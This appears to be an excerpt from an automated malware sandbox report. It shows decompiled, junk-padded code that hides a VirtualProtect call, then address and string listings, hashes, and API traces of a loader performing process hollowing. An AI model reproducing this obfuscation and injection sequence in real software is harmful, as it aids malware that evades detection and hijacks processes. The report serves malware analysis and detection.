				_v272 = _v272 + 0x7358ad63;
				_v636 = _v636 - 0x568014b;
				_v112 = _v112 - 0x67e9d21d;
				_v644 = _v644 - 0x66a98904;
				_v1072 = _v1072 - 0x5b2ec9eb;
				_v508 = _v508 - 0x2987f7d1;
				_v1072 = _v1072 + 0x49a708b1;
				_v976 = _v976 + 0x31afc7b9;
				_v680 = _v680 + 0x3c7541c7;
				_v636 = _v636 + 0x1e9ddbdd;
				_v1064 = _v1064 + 0x711bd0c6;
				_v112 = _v112 - 0x34c4eb94;
				_v628 = _v628 - 0x347b7918;
				_v16 = _v16 + 0x2a6b6112;
				_v508 = _v508 + 0x4e512685;
				_v508 = _v508 + 0x3a70c750;
				_v628 = _v628 + 0x74c9e0b3;
				_v872 = _v872 - 0x61ae872d;
				_v500 = _v500 - 0x4d180cbf;
				_v996 = _v996 + 0x57da2287;
				_v500 = _v500 + 0x523c7331;
				_v1080 = _v1080 - 0x6744c002;
				_v544 = _v544 - 0x25f8e47c;
				_v116 = _v116 + 0x7c40cae6;
				_v536 = _v536 + 0x1f41ad63;
				_v628 = _v628 + 0x7869392a;
				_v112 = _v112 - 0x4ff64046;
				_v644 = _v644 + 0x6e3b85ae;
				_v112 = _v112 + 0x73ff4a6a;
				_v636 = _v636 + 0x27966a09;
				_v380 = _v380 - 0x1bf36ae4;
				_v680 = _v680 + 0x22b3bec7;
				_v4 = _v4 + 0x1355a4ce;
				_t1567 = "VirtualProtect";
				 *0x44ba53 = 0x6c;
				M0044BA4B = 0x336c656e;
				M0044BA4F = 0x32;
				 *0x44ba55 = 0x74;
				 *0x772e1c = LoadLibraryA(_t1567);
				 *0x44ba56 = 0;
				M0044BA4D = 0x61;
				"VirtualProtect" = 0x60;
				M0044BA4F = 0x7c50;
				 *0x44ba51 = 0x6f;
				_v300 = 0x62156fcf;
				_v876 = 0x502efe41;
				_v808 = 0x609e2643;
				_v256 = 0x4ba8cdfd;
				_v700 = 0x31845251;
				_v884 = 0x2b30016c;
				_v892 = 0x445f247f;
				_v900 = 0x2a94b4db;
				_v1128 = 0x23db2fa5;
				_v164 = 0x1fbb849b;
				_v408 = 0x16bd29db;
				_v44 = 0x595575f2;
				_v172 = 0x6f1bb8e1;
				_v1224 = 0x269896f0;
				_v708 = 0xcccbae9;
				_v920 = 0x25a29da8;
				_v720 = 0x5f3b686c;
				_v420 = 0x7c387844;
				_v308 = 0x10fcfd77;
				_v428 = 0x4694beab;
				_v436 = 0x765743e4;
				_v616 = 0x6f99707f;
				_v908 = 0x4811a4fa;
				_v816 = 0x5f22c85a;
				_v1060 = 0x82b56de;
				_v52 = 0xbbd18c6;
				_v716 = 0x73a24d05;
				_v916 = 0x11623f48;
				_v184 = 0x4c57667f;
				_v1068 = 0x282c5746;
				_v180 = 0x30fe6ac9;
				_v724 = 0x79945b7d;
				_v208 = 0x1b1bb00b;
				_v728 = 0x5e269457;
				_v464 = 0x7403513c;
				_v1016 = 0x3ac8f01a;
				_v568 = 0x2d3321bb;
				_v1136 = 0x3ed133ce;
				_v512 = 0x5e6ad078;
				_v288 = 0x6feb39ed;
				_v928 = 0xf117ad6;
				_v316 = 0x626eda47;
				_v1144 = 0x504a79b0;
				_v824 = 0x3166893;
				_v1288 = 0x1ddbab35;
				_v416 = 0x3bed98dd;
				_v732 = 0x753bfc8;
				_v740 = 0x77c78e41;
				_v1076 = 0x68c1245b;
				_v648 = 0x751a65cd;
				_v368 = 0x6fb94ac3;
				_v924 = 0x7aea0ef8;
				_v832 = 0x222cd063;
				_v444 = 0x526eab65;
				_v452 = 0x25f4b99c;
				_v324 = 0x662707bd;
				_v120 = 0x3024670a;
				_v936 = 0x16c237fd;
				_v1296 = 0x55b890a5;
				_v932 = 0x47cbfcef;
				_v332 = 0x105dd22;
				_v576 = 0x7afbcb07;
				_v56 = 0x59cab29e;
				_v1260 = 0x6c9fa00d;
				_v1024 = 0x13e9f8c8;
				_v188 = 0x4009d632;
				_v1268 = 0x137f66ac;
				_v1084 = 0x6038b951;
				_v472 = 0x176b4475;
				_v1276 = 0x2ab32bdd;
				_v1152 = 0x515db017;
				_v604 = 0x7302b5aa;
				_v8 = 0x5bc1104d;
				_v840 = 0x48e9ae43;
				_v340 = 0x26829ca;
				_v60 = 0x5c5917a4;
				_v196 = 0x3fd49075;
				_v944 = 0xcb629d1;
				_v1032 = 0x3dd3cf7a;
				_v240 = 0x2786931;
				_v424 = 0x210e6e87;
				_v848 = 0x3917711d;
				_v748 = 0x76928844;
				_v736 = 0x2d60e8f;
				_v348 = 0x36d4c0ea;
				_v1092 = 0x49151829;
				_v520 = 0xf0e6c12;
				_v952 = 0xef0017b;
				_v1100 = 0x2af06a43;
				_v68 = 0x7374b303;
				_v1040 = 0x5bc4a701;
				_v1284 = 0x49139c63;
				_v460 = 0x74cb6ce2;
				_v40 = 0x5ded0cc0;
				_v328 = 0x5dcd5be2;
				_v1108 = 0x64031bd0;
				_v1292 = 0x2d276eb8;
				_v756 = 0x2c59c4d0;
				_v76 = 0x4f20af0e;
				_v96 = 0x365c19ac;
				_v216 = 0x7f535e31;
				_v940 = 0xdedcc97;
				_v356 = 0x7e0a7ced;
				_v1116 = 0x687fa226;
				_v612 = 0x46f40653;
				_v84 = 0x317ebda5;
				_v92 = 0x56e7500d;
				_v480 = 0x6b33b020;
				_v1300 = 0x366f6df3;
				_v1232 = 0x32beea86;
				_v1308 = 0x228d1197;
				_v1316 = 0x7693296c;
				_v744 = 0x3b04cb38;
				_v468 = 0x4c011a5c;
				_v264 = 0x244a45b6;
				_v948 = 0x48ea128;
				_v204 = 0x261e5791;
				_v1048 = 0x527c0faa;
				_v1320 = 0x164ede6a;
				_v1160 = 0xeff6b27;
				_v956 = 0x8200a32;
				_v376 = 0x24b90350;
				_v1304 = 0x32627711;
				_v312 = 0x60c84633;
				_v100 = 0x2efddde7;
				_v752 = 0x43df52f7;
				_v960 = 0xf7a1ec1;
				_v212 = 0x6d86c563;
				_v192 = 0x66efffe0;
				_v764 = 0x45a58dc6;
				_v1124 = 0x26c95977;
				_v528 = 0x5eea2f6b;
				_v620 = 0x366e5d79;
				_v664 = 0xd97024e;
				_v760 = 0x219e4665;
				_v584 = 0x5769e212;
				_v1056 = 0x7f468728;
				_v1132 = 0x34b8882e;
				_v856 = 0x37afd529;
				_v1140 = 0x60dcc09d;
				_v1148 = 0x1ca13abd;
				_v108 = 0x6d9a90fb;
				_v64 = 0x3574052d;
				_v220 = 0x1586a809;
				_v432 = 0x4efa0c39;
				_v656 = 0x5687f46f;
				_v336 = 0x618934ef;
				_v864 = 0x68873377;
				_v1312 = 0x7404d5d1;
				_v772 = 0x57a121ab;
				_v364 = 0x17aa24c0;
				_v384 = 0x25cb89cb;
				_v476 = 0x531bc81b;
				_v168 = 0x639cc778;
				_v136 = 0x205d653e;
				_v780 = 0x4e48f17c;
				_v672 = 0x5e0f6ffa;
				_v964 = 0x4393df35;
				_v484 = 0x40f13569;
				_v968 = 0x210b0adf;
				_v1156 = 0x69c97e0e;
				_v1240 = 0x7d8d0db1;
				_v1168 = 0x3c11c155;
				_v1164 = 0x775f088f;
				_v228 = 0x106c3386;
				_v624 = 0x687a8d1a;
				_v768 = 0x7f0b5f93;
				_v256 = _v256 - 0x185b168d;
				_v256 = _v256 - 0x6c912c6c;
				_v876 = _v876 - 0x17f7c305;
				_v300 = _v300 - 0x67e2e549;
				_v408 = _v408 - 0x2bf52b48;
				_v164 = _v164 - 0x16e1b59f;
				_v164 = _v164 - 0x3942d78e;
				_v900 = _v900 - 0x3c31dc6d;
				_v408 = _v408 - 0x206fcf0;
				_v256 = _v256 + 0x462a15c5;
				_v256 = _v256 - 0x7fa0dc60;
				_v700 = _v700 + 0x12aa4ad1;
				_v300 = _v300 + 0x62157c4d;
				_v256 = _v256 - 0x35591a9c;
				_v808 = _v808 - 0x75a28f2;
				_v900 = _v900 + 0x52aee917;
				_v300 = _v300 - 0x243787a8;
				_v172 = _v172 - 0x4b1a50d9;
				_v892 = _v892 - 0x62c5a066;
				_v808 = _v808 - 0x28e9e75b;
				_v172 = _v172 - 0x46cc3ebc;
				_v884 = _v884 - 0x3ca60054;
				_v408 = _v408 - 0x6714650b;
				_v1128 = _v1128 + 0x2706d440;
				_v300 = _v300 - 0x608ee916;
				_v300 = _v300 + 0x20b6a50d;
				_v708 = _v708 - 0x7f2cf566;
				_v892 = _v892 - 0x16e243ac;
				_v720 = _v720 + 0x49f4a578;
				_v164 = _v164 + 0x68176734;
				_v408 = _v408 + 0x9cdac3;
				_v884 = _v884 + 0x25ce936;
				_v308 = _v308 + 0x163a22ac;
				_v884 = _v884 + 0x422c8364;
				_v892 = _v892 - 0x1113e9f7;
				_v300 = _v300 - 0x206e8e52;
				_v420 = _v420 + 0x2024de60;
				_v256 = _v256 + 0x7fcf4ce0;
				_v1128 = _v1128 - 0x81d68bc;
				_v900 = _v900 - 0x3daee9e8;
				_v716 = _v716 + 0xcb1bb09;
				_v436 = _v436 + 0x5d058387;
				_v308 = _v308 + 0x425bb182;
				_v172 = _v172 - 0x223f49dc;
				_v52 = _v52 - 0x3a973de6;
				_v420 = _v420 + 0x588dd233;
				_v908 = _v908 - 0x46ad44c4;
				_v1068 = _v1068 + 0x18ec1f3c;
				_v180 = _v180 + 0x11b4f3a1;
				_v816 = _v816 - 0x9360dfa;
				_v44 = _v44 + 0x3bc4850;
				_v1060 = _v1060 + 0x3fc32911;
				_v816 = _v816 - 0x5c7afcf4;
				_v52 = _v52 + 0x381fff7e;
				_v436 = _v436 - 0x5397bd3;
				_v288 = _v288 + 0x23d928b;
				_v464 = _v464 - 0x285cfe64;
				_v716 = _v716 + 0x2eb3a24e;
				_v420 = _v420 + 0x4ad506d2;
				_v1068 = _v1068 - 0x280ca9b1;
				_v288 = _v288 + 0x1d7da27a;
				_v920 = _v920 + 0x39ae4f86;
				_v1128 = _v1128 + 0x3bae3684;
				_v708 = _v708 + 0x319c6713;
				_v428 = _v428 - 0x5ee7d8f4;
				_v420 = _v420 + 0x7c8a205d;
				_v1016 = _v1016 + 0x8260d2e;
				_v884 = _v884 - 0x58badc6b;
				_v408 = _v408 + 0x5c251ab0;
				_v308 = _v308 + 0x26e7f284;
				_v512 = _v512 + 0x3622c198;
				_v700 = _v700 - 0x4331064d;
				_v1144 = _v1144 + 0x196ab841;
				_v308 = _v308 - 0x6ccd4fc1;
				_v44 = _v44 - 0x50573bc2;
				_v208 = _v208 - 0x4f724783;
				_v164 = _v164 + 0x1f392d37;
				_v256 = _v256 + 0x517d7f70;
				_v616 = _v616 + 0x4ea86d2;
				_v208 = _v208 - 0x337ac75d;
				_v740 = _v740 + 0x3ac533a0;
				_v716 = _v716 + 0x576c8f92;
				_v512 = _v512 - 0x73e959b4;
				_v308 = _v308 + 0x26052a49;
				_v716 = _v716 - 0x2a7f4b76;
				_v1296 = _v1296 - 0x28fec13f;
				_v52 = _v52 + 0x1f2a008d;
				_v892 = _v892 - 0x5809c051;
				_v708 = _v708 + 0x344abe69;
				_v444 = _v444 - 0x137c90f8;
				_v920 = _v920 + 0x48728065;
				_v256 = _v256 - 0x4546c3b4;
				_v288 = _v288 - 0xb09baff;
				_v1136 = _v1136 + 0x3a0cc1d4;
				_v208 = _v208 - 0x7cc685d;
				_v1060 = _v1060 - 0x74be053a;
				_v916 = _v916 + 0x6a633f02;
				_v908 = _v908 + 0x366d47a7;
				_v316 = _v316 - 0x18e5d8af;
				_v616 = _v616 + 0x2b8fa57e;
				_v172 = _v172 + 0x20189a7f;
				_v724 = _v724 - 0x294e8bba;
				_v340 = _v340 + 0x37c66b51;
				_v932 = _v932 - 0x4cf91d4f;
				_v1224 = _v1224 - 0x2916cd44;
				_v1144 = _v1144 + 0x56ca55d4;
				_v1076 = _v1076 + 0x3375cc;
				_v464 = _v464 - 0x2a04f1a5;
				_v920 = _v920 - 0x632009c5;
				_v288 = _v288 + 0xa72f039;
				_v1224 = _v1224 - 0x78260375;
				_v824 = _v824 - 0x763098cf;
				_v740 = _v740 - 0x79bac24c;
				_v892 = _v892 + 0x70b8e7e1;
				_v920 = _v920 - 0x7d372d81;
				_v44 = _v44 - 0x51506ada;
				_v708 = _v708 + 0x3d94dea1;
				_v8 = _v8 + 0x45eea711;
				_v924 = _v924 - 0x63444b19;
				_v824 = _v824 + 0x4cdfc47b;
				_v420 = _v420 + 0x1d1a1a26;
				_v464 = _v464 + 0x6733802c;
				_v180 = _v180 - 0x6a948b57;
				_v368 = _v368 + 0x757f7fb1;
				_v464 = _v464 + 0x58b237cf;
				_v420 = _v420 + 0xf2db373;
				_v808 = _v808 - 0x6d98dcdb;
				_v512 = _v512 - 0x37f41803;
				_v916 = _v916 + 0x3d1e63ca;
				_v184 = _v184 + 0x4e27d44e;
				_v68 = _v68 + 0x6ac6d77a;
				"VirtualProtect" = "VirtualProtect" + 0xf6;
				"rotect" = "rotect" + 0xf6;
				M0044BA4E = 0x6c;
				 *0x44ba53 = 0x6365;
				 *0x44ba52 = 0x74;
				"rtualProtect" = 0x7472;
				M0044BA4C = 0x75;
				M0044BA49 = 0x69;
				 *0x44ba44 = GetProcAddress( *0x772e1c, _t1567);
				_t1483 = VirtualProtect( *0x76fe24,  *0x773824, 0x40,  &_v1324); // executed
				return _t1483;
			}

0x0041a8f2
0x0041a8fb
0x0041a902
0x0041a90b
0x0041a912
0x0041a919
0x0041a924
0x0041a92f
0x0041a93a
0x0041a945
0x0041a950
0x0041a95b
0x0041a966
0x0041a971
0x0041a97c
0x0041a987
0x0041a992
0x0041a99d
0x0041a9a8
0x0041a9b3
0x0041a9be
0x0041a9c9
0x0041a9d4
0x0041a9df
0x0041a9ea
0x0041a9f5
0x0041aa00
0x0041aa0b
0x0041aa16
0x0041aa21
0x0041aa2c
0x0041aa37
0x0041aa42
0x0041aa4d
0x0041aa58
0x0041aa63
0x0041aa6e
0x0041aa79
0x0041aa84
0x0041aa8f
0x0041aa9a
0x0041aaa5
0x0041aab0
0x0041aabb
0x0041aac6
0x0041aad1
0x0041aadc
0x0041aae7
0x0041aaf2
0x0041aafd
0x0041ab08
0x0041ab13
0x0041ab1e
0x0041ab26
0x0041ab31
0x0041ab3c
0x0041ab47
0x0041ab52
0x0041ab5d
0x0041ab68
0x0041ab73
0x0041ab7e
0x0041ab89
0x0041ab94
0x0041ab9f
0x0041abaa
0x0041abb5
0x0041abc0
0x0041abc8
0x0041abd3
0x0041abde
0x0041abe9
0x0041abf4
0x0041abff
0x0041ac0a
0x0041ac15
0x0041ac20
0x0041ac28
0x0041ac33
0x0041ac3e
0x0041ac49
0x0041ac54
0x0041ac5f
0x0041ac6a
0x0041ac75
0x0041ac80
0x0041ac8b
0x0041ac96
0x0041aca1
0x0041acac
0x0041acb7
0x0041acc2
0x0041accd
0x0041acd8
0x0041ace3
0x0041acee
0x0041acf9
0x0041ad04
0x0041ad0c
0x0041ad14
0x0041ad1f
0x0041ad27
0x0041ad2f
0x0041ad3a
0x0041ad45
0x0041ad50
0x0041ad5b
0x0041ad66
0x0041ad71
0x0041ad7c
0x0041ad87
0x0041ad92
0x0041ad9d
0x0041ada8
0x0041adb3
0x0041adbe
0x0041adc9
0x0041add4
0x0041addf
0x0041adea
0x0041adf5
0x0041ae00
0x0041ae08
0x0041ae13
0x0041ae1e
0x0041ae29
0x0041ae34
0x0041ae3c
0x0041ae47
0x0041ae52
0x0041ae5d
0x0041ae68
0x0041ae73
0x0041ae7e
0x0041ae89
0x0041ae94
0x0041ae9f
0x0041aeaa
0x0041aeb5
0x0041aec0
0x0041aecb
0x0041aed6
0x0041aee1
0x0041aeec
0x0041aef4
0x0041aeff
0x0041af07
0x0041af12
0x0041af1d
0x0041af25
0x0041af30
0x0041af3b
0x0041af43
0x0041af4e
0x0041af56
0x0041af61
0x0041af6c
0x0041af77
0x0041af82
0x0041af8d
0x0041af98
0x0041afa3
0x0041afae
0x0041afb9
0x0041afc4
0x0041afcf
0x0041afda
0x0041afe5
0x0041aff0
0x0041b021
0x0041b02c
0x0041b070
0x0041b07b
0x0041b086
0x0041b0b7
0x0041b0d5
0x0041b0e0
0x0041b0eb
0x0041b0f6
0x0041b14d
0x0041b16b
0x0041b176
0x0041b194
0x0041b19f
0x0041b1d0
0x0041b1db
0x0041b1e6
0x0041b1f1
0x0041b1fc
0x0041b207
0x0041b225
0x0041b230
0x0041b24e
0x0041b259
0x0041b264
0x0041b26f
0x0041b27a
0x0041b298
0x0041b2b6
0x0041b2c1
0x0041b2cc
0x0041b2ea
0x0041b2f5
0x0041b326
0x0041b331
0x0041b33c
0x0041b347
0x0041b352
0x0041b370
0x0041b37b
0x0041b386
0x0041b3cf
0x0041b3d5
0x0041b3dc
0x0041b3e6
0x0041b3ed
0x0041b3fa
0x0041b3ff
0x0041b406
0x0041b40d
0x0041b414
0x0041b41d
0x0041b424
0x0041b42f
0x0041b43a
0x0041b445
0x0041b450
0x0041b45b
0x0041b466
0x0041b471
0x0041b47c
0x0041b487
0x0041b492
0x0041b49d
0x0041b4a8
0x0041b4b3
0x0041b4bb
0x0041b4c6
0x0041b4d1
0x0041b4dc
0x0041b4e7
0x0041b4f2
0x0041b4fd
0x0041b508
0x0041b513
0x0041b51e
0x0041b529
0x0041b534
0x0041b53f
0x0041b54a
0x0041b555
0x0041b560
0x0041b56b
0x0041b576
0x0041b581
0x0041b58c
0x0041b597
0x0041b5a2
0x0041b5ad
0x0041b5b8
0x0041b5c3
0x0041b5ce
0x0041b5d9
0x0041b5e4
0x0041b5ef
0x0041b5fa
0x0041b605
0x0041b60d
0x0041b618
0x0041b623
0x0041b62e
0x0041b639
0x0041b644
0x0041b64f
0x0041b65a
0x0041b665
0x0041b670
0x0041b67b
0x0041b686
0x0041b691
0x0041b69c
0x0041b6a4
0x0041b6af
0x0041b6ba
0x0041b6c5
0x0041b6d0
0x0041b6d8
0x0041b6e3
0x0041b6ee
0x0041b6f6
0x0041b701
0x0041b70c
0x0041b714
0x0041b71f
0x0041b72a
0x0041b735
0x0041b740
0x0041b74b
0x0041b756
0x0041b761
0x0041b76c
0x0041b777
0x0041b782
0x0041b78d
0x0041b798
0x0041b7a3
0x0041b7ae
0x0041b7b9
0x0041b7c4
0x0041b7cf
0x0041b7da
0x0041b7e5
0x0041b7f0
0x0041b7fb
0x0041b803
0x0041b80e
0x0041b819
0x0041b824
0x0041b82f
0x0041b837
0x0041b842
0x0041b84d
0x0041b858
0x0041b863
0x0041b86e
0x0041b879
0x0041b884
0x0041b88f
0x0041b89a
0x0041b8a5
0x0041b8b0
0x0041b8b8
0x0041b8c0
0x0041b8c8
0x0041b8d0
0x0041b8db
0x0041b8e6
0x0041b8f1
0x0041b8fc
0x0041b907
0x0041b912
0x0041b91a
0x0041b925
0x0041b930
0x0041b93b
0x0041b943
0x0041b94e
0x0041b959
0x0041b964
0x0041b96f
0x0041b97a
0x0041b985
0x0041b990
0x0041b99b
0x0041b9a6
0x0041b9b1
0x0041b9bc
0x0041b9c7
0x0041b9d2
0x0041b9dd
0x0041b9e8
0x0041b9f3
0x0041b9fe
0x0041ba09
0x0041ba14
0x0041ba1f
0x0041ba2a
0x0041ba35
0x0041ba40
0x0041ba4b
0x0041ba56
0x0041ba5e
0x0041ba69
0x0041ba74
0x0041ba7f
0x0041ba8a
0x0041ba95
0x0041baa0
0x0041baab
0x0041bab6
0x0041bac1
0x0041bacc
0x0041bad7
0x0041bae2
0x0041baea
0x0041baf5
0x0041bb00
0x0041bb0b
0x0041bb16
0x0041bb21
0x0041bb2c
0x0041bb37
0x0041bb42
0x0041bb60
0x0041bb6b
0x0041bb76
0x0041bba7
0x0041bbb2
0x0041bbbd
0x0041bbdb
0x0041bbe6
0x0041bbf1
0x0041bbfc
0x0041bc1a
0x0041bc25
0x0041bc30
0x0041bc5b
0x0041bc66
0x0041bc71
0x0041bc7c
0x0041bc87
0x0041bc92
0x0041bcb0
0x0041bcbb
0x0041bcc6
0x0041bd0a
0x0041bd15
0x0041bd20
0x0041bd2b
0x0041bd49
0x0041bd54
0x0041bd5f
0x0041bd77
0x0041bd82
0x0041bd8d
0x0041bd98
0x0041bda3
0x0041bdae
0x0041bdcc
0x0041bdd7
0x0041bde2
0x0041bded
0x0041bdf8
0x0041be03
0x0041be21
0x0041be3f
0x0041be70
0x0041be7b
0x0041be99
0x0041beca
0x0041bed5
0x0041bee0
0x0041beeb
0x0041bef6
0x0041bf27
0x0041bf45
0x0041bf50
0x0041bf6e
0x0041bf8c
0x0041bf97
0x0041bfa2
0x0041bfad
0x0041bfb8
0x0041bfc3
0x0041bfce
0x0041c012
0x0041c01d
0x0041c028
0x0041c046
0x0041c064
0x0041c06f
0x0041c07a
0x0041c085
0x0041c090
0x0041c0ae
0x0041c0b9
0x0041c0fd
0x0041c108
0x0041c113
0x0041c11e
0x0041c129
0x0041c134
0x0041c13f
0x0041c15d
0x0041c1a1
0x0041c1a9
0x0041c1b4
0x0041c1d2
0x0041c1dd
0x0041c1e8
0x0041c213
0x0041c21e
0x0041c229
0x0041c247
0x0041c252
0x0041c283
0x0041c28e
0x0041c2ac
0x0041c2b7
0x0041c2c2
0x0041c2cd
0x0041c2d8
0x0041c2f6
0x0041c30e
0x0041c316
0x0041c321
0x0041c32c
0x0041c337
0x0041c342
0x0041c34d
0x0041c355
0x0041c360
0x0041c37e
0x0041c39c
0x0041c3a7
0x0041c3b2
0x0041c3d0
0x0041c3ee
0x0041c3f9
0x0041c404
0x0041c40f
0x0041c41a
0x0041c425
0x0041c430
0x0041c43b
0x0041c446
0x0041c451
0x0041c45c
0x0041c47a
0x0041c485
0x0041c490
0x0041c497
0x0041c4a5
0x0041c4ac
0x0041c4b5
0x0041c4bc
0x0041c4c5
0x0041c4cc
0x0041c4e6
0x0041c4f1
0x0041c4fa

APIs

LoadLibraryA.KERNEL32(VirtualProtect,1C0DF3A3,7C40CAE6,711BD0C6,7FB643C2,04725625,711BD0C6,57E61415,14A24D41,23078573,08FD9208,4231ABF7,336CC1CC,65544FFF,1BB610E6,31DCA6E7), ref: 0041B3F4
GetProcAddress.KERNEL32(?,?), ref: 0041C4D3
VirtualProtect.KERNELBASE(00000040,?,?,?,?,7D372D81,?,?,?,74BE053A,?,74BE053A,1F2A008D,?,?,?), ref: 0041C4F1

Strings

lh;_, xrefs: 0041B4D1
[qFq, xrefs: 0041AD3A
IkL, xrefs: 0041ACCD
N%z", xrefs: 0041AF07
p0SP, xrefs: 0041ADDF
9o, xrefs: 0041B5CE
>e] , xrefs: 0041BA95
/><, xrefs: 0041AFDA
R$#, xrefs: 0041B04A
|~, xrefs: 0041B86E
SKCo, xrefs: 0041AC0A
*E[o, xrefs: 0041AD04
qcc-, xrefs: 0041B05D
Sst1, xrefs: 0041AD71
w/a, xrefs: 0041AF6C
g$0, xrefs: 0041B686
PV, xrefs: 0041B89A
CWv, xrefs: 0041B4FD
Dx8|, xrefs: 0041B4DC
FW,(, xrefs: 0041B560
=:6U, xrefs: 0041AEFF
kOon, xrefs: 0041ABFF
H/P, xrefs: 0041BE2C
F[x`, xrefs: 0041AE13
*9ix, xrefs: 0041B326
Ig, xrefs: 0041BB42
[(, xrefs: 0041BC71
(::L, xrefs: 0041ACE3
y]n6, xrefs: 0041B9A6
JfG, xrefs: 0041AA79
k/^, xrefs: 0041B99B
T, xrefs: 0041BC87
VirtualProtect, xrefs: 0041B3CF, 0041B3D4, 0041C49E
1s<R, xrefs: 0041B2B6

Memory Dump Source

Source File: 00000001.00000002.279832788.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.279820941.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.279867413.000000000044A000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279895863.0000000000773000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.279900643.0000000000777000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: w/a$g$0$PV$(::L$*9ix$*E[o$/><$1s<R$=:6U$>e] $Dx8|$FW,($F[x`$IkL$Ig$JfG$N%z"$R$#$SKCo$Sst1$T$VirtualProtect$[qFq$[($k/^$kOon$lh;_$p0SP$qcc-$y]n6$9o$CWv$H/P$|~
API String ID: 3509694964-66855312
Opcode ID: c3f189b7cc7afdcaace438ef1ebcabad01d93943a717b47d078f78c0bab740f7
Instruction ID: 26cdda97fe488cdaba8d2127f86bd9878fee5b2f97614fe1cabf6b4c638146d7
Opcode Fuzzy Hash: c3f189b7cc7afdcaace438ef1ebcabad01d93943a717b47d078f78c0bab740f7
Instruction Fuzzy Hash: 9EC2D8B45093C08BC2B58F1A85897CFFBE4BB95318F508A0CE6DD5A611DB718A85CF4B

Uniqueness

Uniqueness Score: -1.00%

Function 00860110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00860156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0086016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00860255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00860270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00860283
GetThreadContext.KERNELBASE(00000000,?), ref: 0086029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 008602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 008602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00860304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0086032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00860399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 008603BF
SetThreadContext.KERNELBASE(00000000,?), ref: 008603E1
ResumeThread.KERNELBASE(00000000), ref: 008603ED
ExitProcess.KERNEL32(00000000), ref: 00860412

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 48f36803586bf9cc5d893b2daec4c6c12b4842be52f978c8cfee5cd863e779dc
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 08B1C874A00208AFDB44CF98C895FAEBBB5FF88314F248158E509AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00860630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 008606E2

Strings

VirtualProtectEx, xrefs: 008614E9, 008614EF
NtUnmapViewOfSection, xrefs: 00861085, 0086108B
VirtualAlloc, xrefs: 00860AC1, 00860AC7
GetStartupInfoA, xrefs: 0086145B, 00861461
SetThreadContext, xrefs: 00860D7A, 00860D80
GetModuleFileNameA, xrefs: 00860EFB, 00860EFE
GetMessageExtraInfo, xrefs: 00860794, 0086079A
ExitProcess, xrefs: 00861554, 0086155A
ReadProcessMemory, xrefs: 00860C4A, 00860C50
WaitForSingleObject, xrefs: 00860E95, 00860E9B
GetFileAttributesA, xrefs: 008613D7, 008613DA
RegisterClassExA, xrefs: 008611B7, 008611BD
WriteFile, xrefs: 008608CD, 008608D0
kernel32, xrefs: 008607ED, 008607F3
MessageBoxA, xrefs: 008606EE, 008606F4
user32, xrefs: 008606DB, 008606E1
GetMessageA, xrefs: 008612F7, 008612FA
CloseHandle, xrefs: 00860938, 0086093E
CreateProcessA, xrefs: 008609BB, 008609C1
CreateFileA, xrefs: 0086088B, 00860891
WriteProcessMemory, xrefs: 00860CE9, 00860CEF
ResumeThread, xrefs: 00860DEF, 00860DF5
ntdll.dll, xrefs: 00860FE2, 00860FE8
PostMessageA, xrefs: 008612B0, 008612B6
VirtualFree, xrefs: 00860BB2, 00860BB8
CreateWindowExA, xrefs: 0086123E, 00861244
GetCommandLineA, xrefs: 00860F82, 00860F88
VirtualAllocEx, xrefs: 00860B44, 00860B4A
GetThreadContext, xrefs: 00860A4C, 00860A52
DefWindowProcA, xrefs: 00861374, 0086137A
NtWriteVirtualMemory, xrefs: 0086112C, 00861132
WinExec, xrefs: 00860820, 00860823

Memory Dump Source

Source File: 00000001.00000002.279908041.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: aba51c361f0d6a967cd4a4f174797a2c32bfcad7b8f84f202198aa6915796042
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: 9BA25460D0C6E8C9EB21C668CC4C7DDBEB55B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

